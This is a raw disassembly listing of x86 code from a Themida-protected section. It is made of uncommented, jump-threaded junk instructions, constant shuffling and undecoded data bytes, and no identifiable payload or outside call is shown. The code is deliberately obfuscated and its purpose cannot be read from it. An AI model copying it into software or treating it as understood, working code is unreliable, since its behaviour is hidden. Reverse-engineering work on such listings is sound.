--------------------------------------------------------------------------- loc_55CD27: ; CODE XREF: Themida_:00565810j pop edx jmp loc_5682F5 ; --------------------------------------------------------------------------- loc_55CD2D: ; CODE XREF: Themida_:005620ADj ; Themida_:0056A705j push dx mov dl, 0C0h jmp loc_55F53C ; --------------------------------------------------------------------------- dw 0E3C1h dd 0E7890F03h, 68000071h, 2969h, 0B8240489h, 404B6154h dd 445B880Fh, 0D2E90000h, 57FFFFDBh, 7610AFBFh, 51FDE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD62: ; CODE XREF: Themida_:loc_561BE7j sub eax, 727131DCh js loc_55FE53 jmp loc_56574C ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 58000000h ; --------------------------------------------------------------------------- loc_55CD7C: ; CODE XREF: Themida_:005571EEj jmp loc_55C028 ; --------------------------------------------------------------------------- loc_55CD81: ; CODE XREF: Themida_:0055CAC7j add esp, 4 inc edi dec edi jmp loc_559997 ; --------------------------------------------------------------------------- loc_55CD8E: ; CODE XREF: Themida_:005650CEj push 269B471Dh pop edi and edi, 71A4008Eh neg edi jns loc_55F1B0 push esi mov esi, 0B253E810h jmp loc_5617F6 ; --------------------------------------------------------------------------- a_hcd db '_h√D',0 dw 8900h dd 0EC812414h, 4, 0BE243489h, 6F4D57CAh, 0F03E6C1h, 38A385h dd 7FF68100h, 0E934360Ch, 5C5Dh ; --------------------------------------------------------------------------- loc_55CDD8: ; CODE XREF: Themida_:0055FAD2j mov edx, [esp] push 3736h mov [esp], ecx mov ecx, esp push edx jmp loc_55C4C4 ; --------------------------------------------------------------------------- loc_55CDEB: ; CODE XREF: Themida_:0055D8B2j pop esp mov [esp], esi push 50ACh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_55C9CD ; --------------------------------------------------------------------------- loc_55CE08: ; CODE XREF: Themida_:00559F3Fj ; Themida_:005667EDj ... pop ebx add esp, 4 mov dh, al pop eax sub al, dh jmp loc_567F30 ; --------------------------------------------------------------------------- loc_55CE16: ; CODE XREF: Themida_:0056426Aj mov ecx, 4ADF1DBCh push ebp mov ebp, 1C52D4Ah mov ebx, ebp pop ebp add ebx, ecx jmp loc_56B981 ; --------------------------------------------------------------------------- loc_55CE2B: ; CODE XREF: Themida_:0055DCBAj ; Themida_:00561BF8j push 22EDh mov [esp], ecx jmp loc_556B1B ; --------------------------------------------------------------------------- loc_55CE38: ; CODE XREF: Themida_:005678B5j pop edi sub eax, ebx mov ebx, [esp] jmp loc_562339 ; --------------------------------------------------------------------------- loc_55CE43: ; CODE XREF: Themida_:0055BAE7j ; Themida_:0056C86Ej jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55CE48: ; CODE XREF: Themida_:00559D45j mov dl, 74h mov bh, 66h jmp loc_563AA0 ; --------------------------------------------------------------------------- byte_55CE51 db 0ADh, 0E9h, 0A6h ; DATA XREF: Themida_:00556120o db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE57: ; CODE XREF: Themida_:00563FE7j shl bh, 1 shl bh, 5 shr bh, 3 jnz loc_55E736 push eax mov ah, 6Fh jmp loc_55D081 ; --------------------------------------------------------------------------- loc_55CE6D: ; CODE XREF: Themida_:0055FCACj mov [esp], edi push 54E93142h pop edi sub [esp+4], edi pop edi jmp loc_55AFAC ; --------------------------------------------------------------------------- loc_55CE80: ; CODE XREF: Themida_:0055E0C7j mov edi, 73D0395Bh push edx mov edx, edi jmp loc_56A86A ; --------------------------------------------------------------------------- loc_55CE8D: ; CODE XREF: Themida_:0056CC1Cj mov esp, [esp] mov [esp], esi jmp loc_566001 ; --------------------------------------------------------------------------- loc_55CE98: ; CODE XREF: Themida_:00564CFEj add ebp, 4 push 2F82h jmp loc_55822C ; --------------------------------------------------------------------------- dd 8158C701h, 0BF5381EFh, 53EF290Fh, 0BF5381BBh, 5BDF010Fh dd 0E789575Dh, 4C781h, 0EF830000h, 243C8704h, 240C895Ch dd 511C03B9h, 68BA527Eh, 161D772h, 0CB295AD3h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 68BF243Ch, 2961D772h dd 6C07E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF02: ; CODE XREF: Themida_:0056A9B7j xchg edi, [esp] pop esp mov edi, [esp] jmp loc_561AE2 ; --------------------------------------------------------------------------- dw 0CA80h dd 0F135E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF16: ; CODE XREF: Themida_:00567523j push ecx push edi mov edi, 4C46BC8h mov ecx, 7AFD471Dh xor ecx, edi jmp loc_557029 ; --------------------------------------------------------------------------- loc_55CF29: ; CODE XREF: Themida_:00561C58j pop eax pop edx jmp loc_5575D4 ; --------------------------------------------------------------------------- loc_55CF30: ; CODE XREF: Themida_:005565BFj inc ebp add ebp, 6DC313C5h inc ebp add ebp, 0BEFA8FECh add ebx, 20257855h add ebx, ebp sub ebx, 20257855h pop ebp xchg ebx, [esp] pop esp jmp loc_5650D3 ; --------------------------------------------------------------------------- loc_55CF56: ; CODE XREF: Themida_:00562E02j add eax, 411224D9h add esi, eax mov eax, [esp] add esp, 4 jmp loc_558756 ; --------------------------------------------------------------------------- loc_55CF6B: ; CODE XREF: Themida_:00567DABj add esp, 4 push 27C2h mov [esp], ebp push 6721h mov [esp], esi push ebx jmp loc_561052 ; --------------------------------------------------------------------------- loc_55CF87: ; CODE XREF: Themida_:00558679j sub edx, 33462420h not edx jmp loc_567120 ; --------------------------------------------------------------------------- aSB db '\И/║',0 align 2 loc_55CF9A: ; CODE XREF: Themida_:0055FAFFj add ebp, 4 push 29D0h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ebp push 5E903D47h mov ebp, [esp] add esp, 4 push edi push ebx push eax jmp loc_569431 ; --------------------------------------------------------------------------- dw 0E681h dd 78764C47h, 0FF9A31E9h, 348B5DFFh, 0B210E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CFE6: ; CODE XREF: Themida_:00557BD5j pop edx add ebx, ecx pop ecx jmp loc_56CA90 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0D8CDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CFFA: ; CODE XREF: Themida_:00560581j sub esi, eax pop eax and ebx, esi jmp loc_55A95A ; --------------------------------------------------------------------------- dd 815AD529h, 24B570F5h, 8BEB2933h, 0C483242Ch, 0DDC38104h dd 8102BF6Fh, 7D4C94C3h, 84BF5721h, 0F75ED863h, 0C5C781D7h dd 1C2519Bh, 0EB815FFBh, 10EE7F21h, 0C381C301h, 10EE7F21h dd 3840EB81h, 0EB816379h, 217D4C94h, 0C00FE9h, 8F58100h dd 81566123h, 0A9A675F5h, 5DEE89DFh, 505EF729h, 7DDDBCB8h dd 58C731C4h, 835FFA01h, 0FF5204C2h, 8B042474h, 54562414h dd 2F9BE9h db 0 ; --------------------------------------------------------------------------- loc_55D081: ; CODE XREF: Themida_:0055CE68j shr ah, 6 jns loc_55A514 dec ah jg loc_5589CF add ah, 54h loc_55D095: ; CODE XREF: Themida_:00566115j mov edi, 51835098h jmp loc_5621BD ; --------------------------------------------------------------------------- loc_55D09F: ; CODE XREF: Themida_:0055F889j shr ecx, 4 jmp loc_56C3AD ; --------------------------------------------------------------------------- db 0Fh dd 882E8Ch, 96F78100h, 0F497B58h, 4CEF84h, 0D1EF8100h dd 573EDCC8h, 5F241CF7h, 327CBB53h, 0EB811592h, 3E5376C5h dd 0C445B850h, 0C3017FD1h, 8BDF2158h, 0C481241Ch, 4, 0C108EFC1h dd 0EF8104E7h, 3E9E0465h, 26BABD55h, 0EF019A95h, 0BB31E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D0FE: ; CODE XREF: Themida_:0055A60Bj jmp loc_55BED8 ; --------------------------------------------------------------------------- loc_55D103: ; CODE XREF: Themida_:0056D11Ej sub ebx, eax pop eax add ebx, edx push ebp mov ebp, 67AF5266h sub ebp, 0AF6617Fh shl ebp, 5 neg ebp xor ebp, 7038CDBAh add ebx, ebp pop ebp pop edx mov edi, ebx pop ebx add eax, edi push dword ptr [esp] pop edi push 30FCh mov [esp], ebp push esp pop ebp push 6CFCh mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 push 3C35h mov [esp], edx mov edx, 4 jmp loc_55B706 ; --------------------------------------------------------------------------- db 81h, 0CFh, 0C6h dd 4F77A61Ch, 8106EFC1h, 590AAFCFh, 0B90BE92Dh, 0D6F6FFFFh dd 0C06BB551h, 0F58004EDh, 0EDB7E98Bh, 483FFFFh, 34FF0424h dd 0CDE95B24h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D18F: ; CODE XREF: Themida_:00562ED5j ; DATA XREF: Themida_:00556008o push 0C44h jmp loc_561EA1 ; --------------------------------------------------------------------------- loc_55D199: ; CODE XREF: Themida_:0055A728j and [esp], eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- dw 0E997h dd 0FFFFFBAFh ; --------------------------------------------------------------------------- loc_55D1A8: ; CODE XREF: Themida_:0055C860j jmp loc_56374B ; --------------------------------------------------------------------------- loc_55D1AD: ; CODE XREF: Themida_:00568BBDj push edx mov edx, 1827566h and edx, 33317DBEh xchg ecx, edx neg ecx jmp loc_55EAC7 ; --------------------------------------------------------------------------- loc_55D1C2: ; CODE XREF: Themida_:005619FBj mov [esp], eax mov eax, 66D046DFh xor ecx, eax pop eax jmp loc_5605CB ; --------------------------------------------------------------------------- loc_55D1D2: ; CODE XREF: Themida_:00559540j add ecx, 793A1231h push edi mov edi, 79424387h xor ecx, edi pop edi add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp push edx push 2381h jmp loc_55B056 ; --------------------------------------------------------------------------- loc_55D1F6: ; CODE XREF: Themida_:00569987j mov ebp, [esp] add esp, 4 add esp, 4 and esi, 18DF6C44h dec esi xor esi, 0C7698691h push 7A16h mov [esp], ebp mov ebp, 3158339Bh sub eax, ebp pop ebp sub eax, esi add eax, 3158339Bh jmp loc_56AD84 ; --------------------------------------------------------------------------- loc_55D22B: ; CODE XREF: Themida_:0056AEF0j mov [esp], ebp push 5505D0Ch mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov edi, 5505D0Dh jmp loc_55FD48 ; --------------------------------------------------------------------------- loc_55D259: ; CODE XREF: Themida_:005568F6j not esi shr esi, 4 dec esi jnp loc_559587 xor esi, 1AEB0C4Bh mov edx, esi pop esi add ebx, edx pop edx add ebx, 85360166h sub edx, ebx pop ebx sub eax, 3F88578Bh jmp loc_566753 ; --------------------------------------------------------------------------- loc_55D284: ; CODE XREF: Themida_:0055FB70j sub ebx, edx pop edx push eax push esi mov esi, 178395Eh push 2FEB6046h jmp loc_563C95 ; --------------------------------------------------------------------------- loc_55D298: ; CODE XREF: Themida_:0055A181j add esp, 4 xor ecx, edx mov edx, [esp] add esp, 4 push ebx push eax push 659236B4h mov eax, [esp] jmp loc_560EDC ; --------------------------------------------------------------------------- loc_55D2B2: ; CODE XREF: Themida_:00567FFCj pop ebx push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 jmp loc_5582AA ; --------------------------------------------------------------------------- loc_55D2C7: ; CODE XREF: Themida_:0055F479j xor [esp+4], eax push dword ptr [esp] pop eax add esp, 4 jmp loc_562505 ; --------------------------------------------------------------------------- aS5v db '╡ И5V',0 align 2 loc_55D2DE: ; CODE XREF: Themida_:0055A8ADj mov edi, 0FF66ABCEh sub edx, edi pop edi sub esi, 7A84682Ch sub esi, edx add esi, 7A84682Ch pop edx sub edx, esi pop esi push eax mov eax, 6AFD528Fh neg eax sub eax, 64554B93h sub edx, 13B769D3h sub edx, eax add edx, 13B769D3h pop eax add edx, 5AED7B16h add edx, eax sub edx, 5AED7B16h push ebx mov ebx, 30AD61DEh add edx, ebx pop ebx jmp loc_564D75 ; --------------------------------------------------------------------------- loc_55D330: ; CODE XREF: Themida_:0055C113j mov si, [esp] push eax push esp pop eax jmp loc_566F7C ; --------------------------------------------------------------------------- loc_55D33C: ; CODE XREF: Themida_:00565A4Ej and edi, 5FE3340Fh jmp loc_559529 ; --------------------------------------------------------------------------- db 0E9h dd 736Ch ; --------------------------------------------------------------------------- loc_55D34C: ; CODE XREF: Themida_:005665BAj mov [esp], eax jmp loc_55C874 ; --------------------------------------------------------------------------- loc_55D354: ; CODE XREF: Themida_:005617D8j rep movsd add esp, [edx+38h] push 7710h mov [esp], edi push ebx mov ebx, esp push 2333h mov [esp], edi mov edi, 4 push edi jmp loc_56AF9B ; --------------------------------------------------------------------------- db 0F7h dd 0CF6105D0h, 70E9A0B8h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D383: ; CODE XREF: Themida_:00563D8Cj push ecx jmp loc_55B2D4 ; --------------------------------------------------------------------------- loc_55D389: ; CODE XREF: Themida_:00558F80j add dword ptr [esp], 44FC234Fh push edx mov edx, 454F4FAFh sub [esp+4], edx mov edx, [esp] add esp, 4 add dword ptr [esp], 23546179h push ebp mov ebp, esp push esi mov esi, 0CC2117Ah shl esi, 1 jmp loc_55A049 ; --------------------------------------------------------------------------- db 80h dd 0DBE9F3F7h, 0FFFFFE6h, 0C6C28Bh, 72C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D3CA: ; CODE XREF: Themida_:00567DA3j add eax, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, 4D324B25h not ebp inc ebp jmp loc_557D0F ; --------------------------------------------------------------------------- loc_55D3E0: ; CODE XREF: Themida_:0056CA7Fj pop edx sub dword ptr [esp+4], 2F056A9Ch push dword ptr [esp] jmp loc_557195 ; --------------------------------------------------------------------------- db 57h, 52h, 0BAh dd 548A3169h, 0FFAF46E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D3FD: ; CODE XREF: Themida_:00566491j xchg ecx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp push eax push ebp mov ebp, 5B6419EEh mov eax, ebp mov ebp, [esp] jmp loc_56BB40 ; --------------------------------------------------------------------------- loc_55D41B: ; CODE XREF: Themida_:0055BE8Cj mov ebx, 2E330A44h or ebx, 64A25FD3h xor ebx, 51B416E8h and ebx, 0E014E65h push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_564363 ; --------------------------------------------------------------------------- aZpHky db '╨ц┤╞;h╙Y',0 align 10h dd 0E9240C89h, 0FFFFD029h ; --------------------------------------------------------------------------- loc_55D458: ; CODE XREF: Themida_:00566629j inc al inc al push dx mov dh, 0Dh jmp loc_56D642 ; --------------------------------------------------------------------------- db 5, 0C4h, 6Fh dd 0D801539Bh, 4CFE9h db 0 ; --------------------------------------------------------------------------- loc_55D471: ; CODE XREF: Themida_:00568089j pop esp push dword ptr [esp] pop eax jmp loc_564CD3 ; --------------------------------------------------------------------------- db 83h dd 94E904C6h db 65h, 2 dup(0) byte_55D483 db 66h ; DATA XREF: Themida_:0055626Co dd 68240C8Bh, 5E58h, 81242C89h, 4ECh, 24248900h, 4F3E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D49E: ; CODE XREF: Themida_:0056C1D1j not bh mov al, bh mov ebx, [esp] add esp, 4 or al, 44h shr al, 7 push dx mov dl, 0D5h xor al, dl pop dx add cl, 7 add cl, al push eax mov ah, 7 and ah, 5Bh not ah sub ah, 46h sub ah, 0AFh sub cl, ah jmp loc_55D54C ; --------------------------------------------------------------------------- aS_6 db ')ъИ=т',0 db 0 ; --------------------------------------------------------------------------- loc_55D4D9: ; CODE XREF: Themida_:0056D2FEj sub ebp, 22D0177Bh add ebp, 6FC00860h jmp loc_558E52 ; --------------------------------------------------------------------------- loc_55D4EA: ; CODE XREF: Themida_:00567EACj mov esi, edi jmp loc_56A6E3 ; --------------------------------------------------------------------------- loc_55D4F1: ; CODE XREF: Themida_:00563255j pop ebx add edx, edi push ecx push eax push 630A3C02h pop eax shl eax, 7 jnp loc_55E75D and eax, 2D4F7B8Eh jz loc_55B6F7 add eax, 5D9638EDh mov ecx, eax pop eax add ecx, 24A50557h jnb loc_556415 xor ecx, 0CEAD29F4h xor al, 51h push esp loc_55D52E: ; CODE XREF: Themida_:0056D67Cj mov edx, 2 add esi, edx pop edx xchg esi, [esp] mov esp, [esp] imul cl movzx cx, ah push 6044h jmp loc_559958 ; --------------------------------------------------------------------------- loc_55D54C: ; CODE XREF: Themida_:0055D4CDj mov eax, [esp] jmp loc_55DB56 ; --------------------------------------------------------------------------- loc_55D554: ; CODE XREF: Themida_:0055DE12j sub edi, 74CC8DDDh mov ebx, edi pop edi push edi mov edi, 1 sub ebx, edi pop edi neg ebx neg ebx push eax push esi mov esi, 400B4E1Fh neg esi jge loc_55715B jmp loc_56198C ; --------------------------------------------------------------------------- aBZkoSF db '│бzK╝"Ифf',0 db 0 ; --------------------------------------------------------------------------- loc_55D589: ; CODE XREF: Themida_:00568F1Cj add bl, ah add bl, 0BAh push dword ptr [esp] jmp loc_5673F7 ; --------------------------------------------------------------------------- loc_55D596: ; CODE XREF: Themida_:00560565j push ecx jmp loc_55D78E ; --------------------------------------------------------------------------- loc_55D59C: ; CODE XREF: Themida_:00559870j pop esp xor edx, edx push edi jmp loc_56B243 ; --------------------------------------------------------------------------- aIcsj db '┴ГИJ-',0 align 4 loc_55D5AC: ; CODE XREF: Themida_:00559BA7j shr edi, 2 shr edi, 2 push edx mov edx, 0FC029412h add edi, edx jmp loc_56AA42 ; --------------------------------------------------------------------------- loc_55D5BF: ; CODE XREF: Themida_:005610EEj add dword ptr [esp], 56510D00h pop ecx push esi mov esi, 56510D00h jmp loc_5666EE ; --------------------------------------------------------------------------- loc_55D5D2: ; CODE XREF: Themida_:00566A99j add esp, 4 sub esi, edx sub esi, 1C37271Eh pop edx sub esi, ecx add esi, 452349F5h mov ecx, [esp] add esp, 4 add esi, 55AE2E90h push ebp mov ebp, 58BB2964h add esi, ebp pop ebp add esi, 1D124E40h add esi, eax sub esp, 4 mov [esp], ecx mov ecx, 5B8B2062h shl ecx, 7 add ecx, 57821D40h jmp loc_5678C0 ; --------------------------------------------------------------------------- loc_55D61F: ; CODE XREF: Themida_:00559C3Bj add esp, 4 push ecx mov ecx, 3D1C2AB7h xor ecx, 43874095h add edx, ecx jmp loc_56A9BC ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 4EC815Dh, 89000000h, 0E589242Ch, 4C581h, 0ED830000h dd 4FBFE904h, 815B0000h, 0B601AAE3h, 81DBF75Ch, 33E53CF3h dd 5BD989D3h, 0AAAEE9h db 0 ; --------------------------------------------------------------------------- loc_55D66D: ; CODE XREF: Themida_:0055E076j sub esp, 2 mov [esp], dx push ecx mov cl, 9Dh shl cl, 2 jz loc_56AF42 neg cl jmp loc_55748D ; --------------------------------------------------------------------------- loc_55D687: ; CODE XREF: Themida_:005668FDj mov [esp], ebx push 105Bh mov [esp], eax jmp loc_5577EA ; --------------------------------------------------------------------------- loc_55D697: ; CODE XREF: Themida_:00556E97j pop edx push cx mov cl, 0C5h sub al, cl pop cx pop ebx xor bl, al movzx eax, al jmp loc_55E8EA ; --------------------------------------------------------------------------- loc_55D6AB: ; CODE XREF: Themida_:0056472Bj mov edi, [esp] add esp, 4 push edx jmp loc_565F03 ; --------------------------------------------------------------------------- loc_55D6B7: ; CODE XREF: Themida_:00558575j inc dword ptr [esp] pop ebx jmp loc_55C7C5 ; --------------------------------------------------------------------------- loc_55D6C0: ; CODE XREF: Themida_:00559347j pop edi add ebx, edx pop edx jmp loc_5622AA ; --------------------------------------------------------------------------- loc_55D6C9: ; CODE XREF: Themida_:0055847Dj pop esp mov [esp], esi push esp mov esi, [esp] jmp loc_569799 ; --------------------------------------------------------------------------- loc_55D6D6: ; CODE XREF: Themida_:0055EB72j or ebx, 61DD6880h ja loc_56757C or ebx, 7AC8639Eh jmp loc_5616E9 ; --------------------------------------------------------------------------- loc_55D6ED: ; CODE XREF: Themida_:0055BA8Aj ; Themida_:0056524Fj mov esi, 16842AE5h xor ecx, esi pop esi push edi mov edi, 75F11743h shr edi, 2 inc edi or edi, 2DBE6F14h sub edi, 813F77F4h xor ecx, edi pop edi add edx, ecx mov ecx, [esp] add esp, 4 push ebx jmp loc_5665E4 ; --------------------------------------------------------------------------- dd 0E905E2C1h, 0FFFFF31Ch, 68243489h, 5C69h, 4EC81h, 24890000h dd 24048124h, 4, 6824048Fh, 62EAh, 0B8240489h, 4, 4244401h dd 4F685E58h, 0E900003Ch, 138Ah, 4D68h, 240C8900h, 8904EC83h dd 4CB02404h, 820FD8F6h, 0FFFFBBD8h, 8B0FC234h, 0E235h dd 0F18BE0D0h db 8Ah, 0E9h ; --------------------------------------------------------------------------- loc_55D782: ; CODE XREF: Themida_:0055F547j mov ebx, 2DA93D4Dh mov edi, ebx jmp loc_55C5E3 ; --------------------------------------------------------------------------- loc_55D78E: ; CODE XREF: Themida_:0055D597j dec byte ptr [esp] jmp loc_5691E5 ; --------------------------------------------------------------------------- loc_55D796: ; CODE XREF: Themida_:loc_563583j neg edx jz loc_561570 jmp loc_55698E ; --------------------------------------------------------------------------- db 81h dd 0CB0101EFh, 8FEF8159h, 15B5791h, 0CB895FF9h, 9E77E9h db 0 byte_55D7B9 db 8Bh, 4, 24h ; DATA XREF: Themida_:005561F0o dd 0FEE95456h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D7C3: ; CODE XREF: Themida_:00567901j xor ebp, ecx pop ecx shr ebp, 4 shl ebp, 8 jmp loc_55D94F ; --------------------------------------------------------------------------- db 68h, 47h, 3Fh dd 1C890000h, 0C040B324h, 0C38005E3h, 0FFC38001h, 0C09AB252h dd 0E2C005E2h, 49C28006h, 0EA80DAF6h, 0E9D3207Ch, 0D2Ch dd 969EE951h, 0EBC10000h, 0FF840F08h, 0E9000090h, 0FFFF97B3h ; --------------------------------------------------------------------------- loc_55D810: ; CODE XREF: Themida_:0055F5A4j ; Themida_:00566935j pop ax sub bl, al add bl, 51h sub bl, 0Bh push dword ptr [esp] pop eax add esp, 4 sub bl, 0FCh sub bl, 0E8h sub bl, al add bl, 0E8h add bl, 0FCh add bl, 6Eh jmp loc_55EE76 ; --------------------------------------------------------------------------- loc_55D83A: ; CODE XREF: Themida_:0056C60Cj push ebx push ecx mov cl, 0A9h shr cl, 4 jp loc_55CB64 inc cl jno loc_55ECEB mov ecx, eax pop edx xor edx, 39A020Ch sub ebx, 40B8083Dh add ebx, 157A08B1h add ebx, 0E0E1DADh add ebx, edx sub ebx, 0E0E1DADh jmp loc_55F9A5 ; --------------------------------------------------------------------------- loc_55D877: ; CODE XREF: Themida_:00567317j mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 0B3D22F0h push ebp xchg ebp, [esp] jmp loc_557B82 ; --------------------------------------------------------------------------- loc_55D891: ; CODE XREF: Themida_:0056CB5Bj and al, 0B3h or al, 0E6h push edx mov dl, 6Ah jmp loc_55ED51 ; --------------------------------------------------------------------------- loc_55D89D: ; CODE XREF: Themida_:00561ECEj add eax, 46F87686h sub eax, ebx sub eax, 46F87686h mov ebx, [esp] add esp, 4 xchg eax, [esp] jmp loc_55CDEB ; --------------------------------------------------------------------------- loc_55D8B7: ; CODE XREF: Themida_:005699A5j pop ebx mov ecx, [esp] jmp loc_55CAEF ; --------------------------------------------------------------------------- dd 0F703E6C1h, 6C681D6h, 2D1BFB83h, 453A4270h, 7005F001h dd 0E9453A42h, 80h ; --------------------------------------------------------------------------- loc_55D8DC: ; CODE XREF: Themida_:00563A58j mov edi, [esp] add esp, 4 shr eax, 7 jmp loc_557611 ; --------------------------------------------------------------------------- loc_55D8EA: ; CODE XREF: Themida_:00558992j mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub esp, 4 mov [esp], ecx jmp loc_565C03 ; --------------------------------------------------------------------------- aXsU db 'XИ|Н',0 align 2 loc_55D912: ; CODE XREF: Themida_:0055E731j inc ebx add ebx, 6E7E0E4Fh jns loc_55B258 dec ebx jnz loc_55F98F jmp loc_55E1CE ; --------------------------------------------------------------------------- db 81h dd 0A316D3E5h, 8AD98925h db 0F4h ; --------------------------------------------------------------------------- loc_55D935: ; CODE XREF: Themida_:0056B8F8j add esp, 4 jmp loc_56B7CD ; --------------------------------------------------------------------------- dd 9B6FC42Dh, 586C2D53h, 0F8E94A16h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D94F: ; CODE XREF: Themida_:0055D7CCj push eax mov eax, 6D9A6578h sub ebp, eax jmp loc_568C74 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 0BBA5200h, 2D69ED0Bh, 42092387h, 8705D001h dd 8B420923h, 0C4812414h, 4, 741FE9h db 0 ; --------------------------------------------------------------------------- loc_55D985: ; CODE XREF: Themida_:00569125j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_568D06 ; --------------------------------------------------------------------------- loc_55D991: ; CODE XREF: Themida_:0056C5DCj mov edx, 4 add [esp+4], edx jmp loc_566410 ; --------------------------------------------------------------------------- loc_55D99F: ; CODE XREF: Themida_:00559C55j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55BE7C ; --------------------------------------------------------------------------- loc_55D9B0: ; CODE XREF: Themida_:00564BBFj push esi jmp loc_565A69 ; --------------------------------------------------------------------------- loc_55D9B6: ; CODE XREF: Themida_:00557C13j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_55E238 ; --------------------------------------------------------------------------- loc_55D9CA: ; CODE XREF: Themida_:0056317Fj mov edi, 4 jmp loc_55DD8D ; --------------------------------------------------------------------------- loc_55D9D4: ; CODE XREF: Themida_:005672FEj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_56443B ; --------------------------------------------------------------------------- loc_55D9E5: ; CODE XREF: Themida_:005638D5j ; Themida_:0056BD31j pop esi jmp loc_5681BE ; --------------------------------------------------------------------------- loc_55D9EB: ; CODE XREF: Themida_:0055B24Dj xor eax, ecx pop ecx jmp loc_56430F ; --------------------------------------------------------------------------- loc_55D9F3: ; CODE XREF: Themida_:005579BEj push edi mov edi, 5D8B448Dh add dword ptr [esp+8], 5DC22EFh jmp loc_5573AE ; --------------------------------------------------------------------------- loc_55DA06: ; CODE XREF: Themida_:00557024j sub ebp, 658911CFh jmp loc_55E483 ; --------------------------------------------------------------------------- loc_55DA11: ; CODE XREF: Themida_:0056C05Dj mov eax, [esp] add esp, 4 xor eax, 69F17591h ja loc_55AA38 dec eax push edx push 0AAFD9112h push dword ptr [esp] pop edx loc_55DA2D: ; CODE XREF: Themida_:0056641Aj push esi push ebx jmp loc_55C277 ; --------------------------------------------------------------------------- loc_55DA34: ; CODE XREF: Themida_:00561D64j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55DA39: ; CODE XREF: Themida_:0055AB78j push esi mov esi, 95906050h sub eax, esi pop esi add esi, eax jmp loc_564B35 ; --------------------------------------------------------------------------- loc_55DA49: ; CODE XREF: Themida_:0055B4CAj mov edi, 7A782EEBh add edi, 1FF05B51h sub esi, edi jmp loc_55BC83 ; --------------------------------------------------------------------------- loc_55DA5B: ; CODE XREF: Themida_:005684C9j xchg edi, [esp] mov esp, [esp] or [edi+1Ch], ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56C4C3 ; --------------------------------------------------------------------------- loc_55DA78: ; CODE XREF: Themida_:005604FEj push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_561382 ; --------------------------------------------------------------------------- db 0BFh, 0FCh, 19h dd 0ECE948E4h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DAA3: ; CODE XREF: Themida_:005640E3j mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi jmp loc_566997 ; --------------------------------------------------------------------------- aIHthSd db '┴,$h▓Hъ',7,']И└и',0 align 4 aHL db 'h[l',0 dd 241C8900h, 0C2596CBBh, 0E9DF0117h, 0FFFFE81Dh ; --------------------------------------------------------------------------- loc_55DAE0: ; CODE XREF: Themida_:005572E9j mov cl, 40h add bl, cl pop ecx jmp loc_56AFAE ; --------------------------------------------------------------------------- loc_55DAEA: ; CODE XREF: Themida_:0055DF40j add eax, 4 jmp loc_55970C ; --------------------------------------------------------------------------- loc_55DAF4: ; CODE XREF: Themida_:0055FBACj ; Themida_:loc_56CFD9j push ebp mov ebp, 3CCA3FA2h neg ebp add ebp, 471240B0h add ebp, 7F581961h add ebp, 5BF570C0h add ebp, 952181E6h jmp loc_5590B5 ; --------------------------------------------------------------------------- loc_55DB19: ; CODE XREF: Themida_:0055B889j sub ebx, edx push ebp mov ebp, 3CE926CFh add ebx, ebp pop ebp jmp loc_55B9AF ; --------------------------------------------------------------------------- byte_55DB29 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:00556214o dd 0B6686602h, 4896643h, 87ADE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB3A: ; CODE XREF: Themida_:0055E992j xor [esp], eax xor eax, [esp] jmp loc_562D4F ; --------------------------------------------------------------------------- db 81h, 0E5h, 61h dd 81328C57h, 462F5h, 0DB4BE920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB56: ; CODE XREF: Themida_:0055D54Fj add esp, 4 push dword ptr [esp] pop eax add esp, 4 xor al, cl push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, esp jmp loc_564735 ; --------------------------------------------------------------------------- 